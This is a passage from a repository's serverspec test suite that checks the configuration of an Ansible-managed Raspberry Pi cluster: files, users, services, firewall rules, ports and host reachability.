31 | it { should be_owned_by 'root' } 32 | its(:content) { should match /R-Pi Cluster Ansible managed file/ } 33 | it { should be_mode 750 } 34 | end 35 | -------------------------------------------------------------------------------- /serverspec/spec/compute/compute_spec.rb: -------------------------------------------------------------------------------- 1 | require 'spec_helper' 2 | 3 | describe file('/root/bin/compute-boot.sh') do 4 | it { should be_file } 5 | it { should be_owned_by 'root' } 6 | it { should be_grouped_into 'root' } 7 | its(:content) { should match /compute-boot.sh/ } 8 | it { should be_mode 770 } 9 | end 10 | 11 | describe file('/opt/cluster/data/info_roles.txt') do 12 | it { should be_file } 13 | it { should be_owned_by 'root' } 14 | it { should be_mode 444 } 15 | its(:content) { should match /group-compute/ } 16 | end 17 | 18 | describe file('/mnt/ramstore/data/test.txt') do 19 | it { should be_file } 20 | it { should be_owned_by 'root' } 21 | end 22 | 23 | describe file('/etc/ssh/sshd_config') do 24 | its(:content) { should match /AuthorizedKeysFile \/dev\/null/ } 25 | its(:content) { should match /TrustedUserCAKeys \/etc\/ssh\/ca.pub/ } 26 | end 27 | 28 | describe package('openjdk-8-jdk') do 29 | it { should be_installed } 30 | end 31 | 32 | # these users should be added 33 | describe user('computeadm') do 34 | it { should exist } 35 | end 36 | 37 | # these users should NOT exist here 38 | describe user('bbweb') do 39 | it { should_not exist } 40 | end 41 | describe user('bind') do 42 | it { should_not exist } 43 | end 44 | describe user('redis') do 45 | it { should_not exist } 46 | end 47 | describe user('tftp') do 48 | it { should_not exist } 49 | end 50 | -------------------------------------------------------------------------------- /serverspec/spec/compute/computenet_spec.rb: -------------------------------------------------------------------------------- 1 | require 'spec_helper' 2 | -------------------------------------------------------------------------------- /serverspec/spec/compute/distcc_spec.rb: -------------------------------------------------------------------------------- 1 | require 'spec_helper' 2 | 3 | describe user('distccd') do 4 | it { should exist } 5 | it { should have_login_shell '/usr/sbin/nologin' } 6 | end 7 | 8 | describe process("distccd") do 9 | its(:user) { should eq "distccd" } 10 | end 11 | 12 | describe file('/etc/distcc/hosts') do 13 | it { should be_file } 14 | it { should be_owned_by 'root' } 15 | it { should be_grouped_into 'root' } 16 | it { should be_mode 644 } 17 | end 18 | -------------------------------------------------------------------------------- /serverspec/spec/compute/docker_spec.rb: -------------------------------------------------------------------------------- 1 | require 'spec_helper' 2 | 3 | describe service('docker.service') do 4 | it { should be_enabled } 5 | it { should be_running } 6 | end 7 | 8 | describe group('docker') do 9 | it { should exist } 10 | end 11 | 12 | describe process("dockerd") do 13 | its(:user) { should eq "root" } 14 | end 15 | 16 | describe process("containerd") do 17 | its(:user) { should eq "root" } 18 | end 19 | -------------------------------------------------------------------------------- /serverspec/spec/compute/fw_spec.rb: -------------------------------------------------------------------------------- 1 | require 'spec_helper' 2 | 3 | describe package('ufw') do 4 | it { should be_installed } 5 | end 6 | 7 | describe iptables do 8 | it { should have_rule('-A INPUT -j ufw-reject-input') } 9 | end 10 | describe iptables do 11 | it { should have_rule('-A FORWARD -j ufw-reject-forward') } 12 | end 13 | describe iptables do 14 | it { should have_rule('-A OUTPUT -j ufw-reject-output') } 15 | end 16 | describe iptables do 17 | it { should have_rule('-A ufw-user-limit -j REJECT --reject-with icmp-port-unreachable') } 18 | end 19 | -------------------------------------------------------------------------------- /serverspec/spec/compute/kube_spec.rb: -------------------------------------------------------------------------------- 1 | require 'spec_helper' 2 | 3 | 4 | # describe command('journalctl -u kubelet -n 20 | grep "Unable to update cni config"') do 5 | # its(:stdout) { should match // } 6 | # end 7 | -------------------------------------------------------------------------------- /serverspec/spec/compute/mpich_xxxx.xx: -------------------------------------------------------------------------------- 1 | require 'spec_helper' 2 | 3 | describe user('mpiuser') do 4 | it { should exist } 5 | it { should have_login_shell '/bin/bash' } 6 | end 7 | 8 | describe file('/home/mpiuser/') do 9 | it { should be_directory } 10 | it { should be_owned_by 'mpiuser' } 11 | it { should be_grouped_into 'mpiuser' } 12 | it { should be_mode 700 } 13 | end 14 | -------------------------------------------------------------------------------- /serverspec/spec/deployer/aptdep_spec.rb: -------------------------------------------------------------------------------- 1 | require 'spec_helper' 2 | 3 | describe package('pass') do 4 | it { should be_installed } 5 | end 6 | 7 | describe package('nmap') do 8 | it { should be_installed } 9 | end 10 | 11 | describe package('lynx') do 12 | it { should be_installed } 13 | end 14 | -------------------------------------------------------------------------------- /serverspec/spec/deployer/docker_spec.rb: -------------------------------------------------------------------------------- 1 | require 'spec_helper' 2 | 3 | describe service('docker.service') do 4 | it { should be_enabled } 5 | it { should be_running } 6 | end 7 | 8 | describe group('docker') do 9 | it { should exist } 10 | end 11 | 12 | describe process("dockerd") do 13 | its(:user) { should eq "root" } 14 | end 15 | 16 | describe command('docker ps') do 17 | its(:exit_status) { should eq 0 } 18 | end -------------------------------------------------------------------------------- /serverspec/spec/deployer/nodes_spec.rb: -------------------------------------------------------------------------------- 1 | require 'spec_helper' 2 | 3 | # todo: for now we only have 8 nodes, this will not scale above that. 4 | 5 | describe host("alpha") do 6 | it { should be_reachable } 7 | it { should be_reachable.with( :port => 22, :proto => 'tcp' ) } 8 | end 9 | 10 | describe host("beta") do 11 | it { should be_reachable } 12 | it { should be_reachable.with( :port => 22, :proto => 'tcp' ) } 13 | end 14 | 15 | describe host("gamma") do 16 | it { should be_reachable } 17 | it { should be_reachable.with( :port => 22, :proto => 'tcp' ) } 18 | end 19 | 20 | describe host("zeta") do 21 | it { should be_reachable } 22 | it { should be_reachable.with( :port => 22, :proto => 'tcp' ) } 23 | end 24 | 25 | describe host("delta") do 26 | it { should be_reachable } 27 | it { should be_reachable.with( :port => 22, :proto => 'tcp' ) } 28 | end 29 | 30 | describe host("epsilon") do 31 | it { should be_reachable } 32 | it { should be_reachable.with( :port => 22, :proto => 'tcp' ) } 33 | end 34 | -------------------------------------------------------------------------------- /serverspec/spec/deployer/redis_spec.rb: -------------------------------------------------------------------------------- 1 | require 'spec_helper' 2 | 3 | describe service('redis-server.service') do 4 | it { should be_running } 5 | it { should be_running.under('systemd') } 6 | end 7 | 8 | describe 'redis Port open' do 9 | describe port(6379) do 10 | it { should be_listening } 11 | it { should be_listening.with('tcp') } 12 | end 13 | end 14 | 15 | describe user('redis') do 16 | it { should exist } 17 | it { should have_login_shell '/usr/sbin/nologin' } 18 | end 19 | 20 | describe process("/usr/bin/redis-server") do 21 | its(:count) { should eq 1 } 22 | end 23 | 24 | describe command('/usr/bin/redis-cli -h localhost -p 6379 ping') do 25 | let(:disable_sudo) { true } 26 | its(:stdout) { should match 'PONG' } 27 | end 28 | -------------------------------------------------------------------------------- /serverspec/spec/deployer/uptimed_spec.rb: -------------------------------------------------------------------------------- 1 | require 'spec_helper' 2 | 3 | describe package('uptimed') do 4 | it { should be_installed } 5 | end 6 | 7 | describe service('uptimed') do 8 | it { should be_enabled } 9 | it { should be_running } 10 | end 11 | 12 | describe process("uptimed") do 13 | its(:user) { should eq "daemon" } 14 | its(:count) { should eq 1 } 15 | end 16 | -------------------------------------------------------------------------------- /serverspec/spec/lanservice/bbhttpd_spec.rb: -------------------------------------------------------------------------------- 1 | require 'spec_helper' 2 | 3 | describe service('bbhttpd.service') do 4 | it { should be_enabled } 5 | it { should be_running } 6 | it { should be_running.under('systemd') } 7 | end 8 | 9 | describe user('bbweb') do 10 | it { should exist } 11 | it { should have_login_shell '/bin/false' } 12 | end 13 | 14 | describe file('/opt/chroot_bb/') do 15 | it { should be_directory } 16 | it { should be_owned_by 'root' } 17 | it { should be_grouped_into 'root' } 18 | end 19 | 20 | describe file('/opt/chroot_bb/www') do 21 | it { should be_directory } 22 | it { should be_owned_by 'pi' } 23 | it { should be_grouped_into 'pi' } 24 | end 25 | 26 | describe file('/opt/chroot_bb/etc') do 27 | it { should be_directory } 28 | it { should be_owned_by 'root' } 29 | it { should be_grouped_into 'root' } 30 | end 31 | 32 | describe file('/opt/chroot_bb/home') do 33 | it { should be_directory } 34 | it { should be_owned_by 'root' } 35 | it { should be_grouped_into 'root' } 36 | end 37 | 38 | describe host("localhost") do 39 | it { should be_reachable.with( :port => 1080, :proto => 'tcp' ) } 40 | let(:disable_sudo) { true } 41 | end 42 | 43 | describe command('/usr/lib/nagios/plugins/check_http -p 1080 -I localhost -u /index.html -s "R-Pi BB httpd"') do 44 | its(:exit_status) { should eq 0 } 45 | let(:disable_sudo) { true } 46 | end 47 | -------------------------------------------------------------------------------- /serverspec/spec/lanservice/dhcpc_spec.rb: -------------------------------------------------------------------------------- 1 | require 'spec_helper' 2 | # dhcpc CLIENT 3 | 4 | describe file('/etc/dhcpcd.conf') do 5 | it { should be_file } 6 | it { should be_owned_by 'root' } 7 | its(:content) { should match /R-Pi Cluster Ansible managed file/ } 8 | end 9 | 10 | 11 | describe process("dhcpcd") do 12 | its(:user) { should eq "root" } 13 | its(:count) { should eq 1 } 14 | end 15 | -------------------------------------------------------------------------------- /serverspec/spec/lanservice/dhcpd_spec.rb: -------------------------------------------------------------------------------- 1 | require 'spec_helper' 2 | # dhcpd SERVER 3 | 4 | describe package('isc-dhcp-server') do 5 | it { should be_installed } 6 | end 7 | 8 | describe service('isc-dhcp-server') do 9 | it { should be_enabled } 10 | it { should be_running } 11 | end 12 | 13 | describe file('/etc/dhcp/dhcpd.conf') do 14 | it { should be_file } 15 | it { should be_owned_by 'root' } 16 | its(:content) { should match /R-Pi Cluster Ansible managed file/ } 17 | it { should contain "#{property[:server_status_dhcp]};" } 18 | end 19 | 20 | describe process("dhcpd") do 21 | its(:user) { should eq "root" } 22 | its(:count) { should eq 1 } 23 | end 24 | 25 | describe command('/usr/sbin/dhcpd -t -cf /etc/dhcp/dhcpd.conf') do 26 | its(:exit_status) { should eq 0 } 27 | end 28 | 29 | describe command('/usr/lib/nagios/plugins/check_dhcp') do 30 | its(:exit_status) { should eq 0 } 31 | end 32 | 33 | describe command('journalctl -u isc-dhcp-server -n 25 | grep -v -e "DHCPDISCOVER" -e "DHCPOFFER"') do 34 | its(:stdout) { should contain('balanced pool').after('balancing pool') } 35 | end 36 | -------------------------------------------------------------------------------- /serverspec/spec/lanservice/ftpd_spec.rb: -------------------------------------------------------------------------------- 1 | require 'spec_helper' 2 | 3 | describe service('tftpd-hpa.service') do 4 | it { should be_enabled } 5 | it { should be_running } 6 | it { should be_running.under('systemd') } 7 | end 8 | 9 | describe file('/etc/default/tftpd-hpa') do 10 | it { should be_file } 11 | it { should be_owned_by 'root' } 12 | its(:content) { should match /R-Pi Cluster Ansible managed file/ } 13 | end 14 | 15 | describe user('tftp') do 16 | it { should exist } 17 | it { should have_login_shell '/usr/sbin/nologin' } 18 | end 19 | 20 | describe file('/srv/tftp/pxelinux/') do 21 | it { should be_directory } 22 | it { should be_owned_by 'root' } 23 | it { should be_mode 755 } 24 | end 25 | 26 | describe file('/srv/tftp/dl/') do 27 | it { should be_directory } 28 | it { should be_owned_by 'root' } 29 | it { should be_mode 755 } 30 | end 31 | 32 | describe process("in.tftpd") do 33 | its(:user) { should eq "root" } 34 | its(:count) { should eq 1 } 35 | end 36 | -------------------------------------------------------------------------------- /serverspec/spec/lanservice/fw_spec.rb: -------------------------------------------------------------------------------- 1 | require 'spec_helper' 2 | 3 | #describe iptables do 4 | # it { should have_rule('-A ufw-user-input -p tcp -m tcp --dport 22 -j ACCEPT') } 5 | #end 6 | 7 | #describe iptables do 8 | # it { should have_rule("-A ufw-user-input -p tcp -m tcp --dport #{property[:ssh_group_port]} -j ACCEPT") } 9 | #end 10 | 11 | 12 | describe iptables do 13 | it { should have_rule('-A INPUT -j ufw-reject-input') } 14 | end 15 | describe iptables do 16 | it { should have_rule('-A FORWARD -j ufw-reject-forward') } 17 | end 18 | describe iptables do 19 | it { should have_rule('-A OUTPUT -j ufw-reject-output') } 20 | end 21 | describe iptables do 22 | it { should have_rule('-A ufw-user-limit -j REJECT --reject-with icmp-port-unreachable') } 23 | end 24 | -------------------------------------------------------------------------------- /serverspec/spec/lanservice/keepalived_spec.rb: -------------------------------------------------------------------------------- 1 | require 'spec_helper' 2 | 3 | 4 | describe package('keepalived') do 5 | it { should be_installed } 6 | end 7 | 8 | 9 | describe service('keepalived.service') do 10 | it { should be_enabled } 11 | it { should be_running } 12 | it { should be_running.under('systemd') } 13 | end 14 | 15 | 16 | describe file('/etc/keepalived/keepalived.conf') do 17 | it { should be_file } 18 | it { should be_owned_by 'root' } 19 | its(:content) { should match /R-Pi Cluster Ansible managed file/ } 20 | end 21 | 22 | 23 | describe process("keepalived") do 24 | its(:user) { should eq "root" } 25 | end 26 | -------------------------------------------------------------------------------- /serverspec/spec/lanservice/nettests_spec.rb: -------------------------------------------------------------------------------- 1 | require 'spec_helper' 2 | 3 | describe port("#{property[:ssh_group_port]}") do 4 | it { should be_listening.with('tcp') } 5 | end 6 | 7 | # services shoult NOT be listening here 8 | describe port(5353) do 9 | it { should_not be_listening } 10 | end 11 | describe port(443) do 12 | it { should_not be_listening } 13 | end 14 | describe port(80) do 15 | it { should_not be_listening } 16 | end 17 | 18 | # resolve internal hosts 19 | 20 | describe host("alpha.dc1.#{property[:rpi_cust_domain]}.#{property[:rpi_cust_tld]}") do 21 | it { should be_resolvable.by('dns') } 22 | end 23 | 24 | describe host("beta.dc1.#{property[:rpi_cust_domain]}.#{property[:rpi_cust_tld]}") do 25 | it { should be_resolvable.by('dns') } 26 | end 27 | 28 | describe host('google.com') do 29 | it { should be_resolvable } 30 | let(:disable_sudo) { true } 31 | end 32 | -------------------------------------------------------------------------------- /serverspec/spec/lanservice/uptimed_spec.rb: -------------------------------------------------------------------------------- 1 | require 'spec_helper' 2 | 3 | describe package('uptimed') do 4 | it { should be_installed } 5 | end 6 | 7 | describe service('uptimed') do 8 | it { should be_enabled } 9 | it { should be_running } 10 | end 11 | 12 | describe process("uptimed") do 13 | its(:user) { should eq "daemon" } 14 | its(:count) { should eq 1 } 15 | end 16 | -------------------------------------------------------------------------------- /serverspec/spec/spec_helper.rb: -------------------------------------------------------------------------------- 1 | require 'serverspec' 2 | require 'net/ssh' 3 | require 'yaml' 4 | 5 | set :backend, :ssh 6 | 7 | properties = YAML.load_file('inventory.yml') 8 | 9 | host = ENV['TARGET_HOST'] 10 | set_property properties[host] 11 | 12 | options = Net::SSH::Config.for(host) 13 | 14 | options[:user] ||= Etc.getlogin 15 | 16 | set :host, options[:host_name] || host 17 | set :ssh_options, options 18 | 19 | # Don't Disable sudo 20 | set :disable_sudo, false 21 | 22 | # Set environment variables 23 | # set :env, :LANG => 'C', :LC_MESSAGES => 'C' 24 | 25 | # Set PATH 26 | # set :path, '/sbin:/usr/local/sbin:$PATH' 27 | --------------------------------------------------------------------------------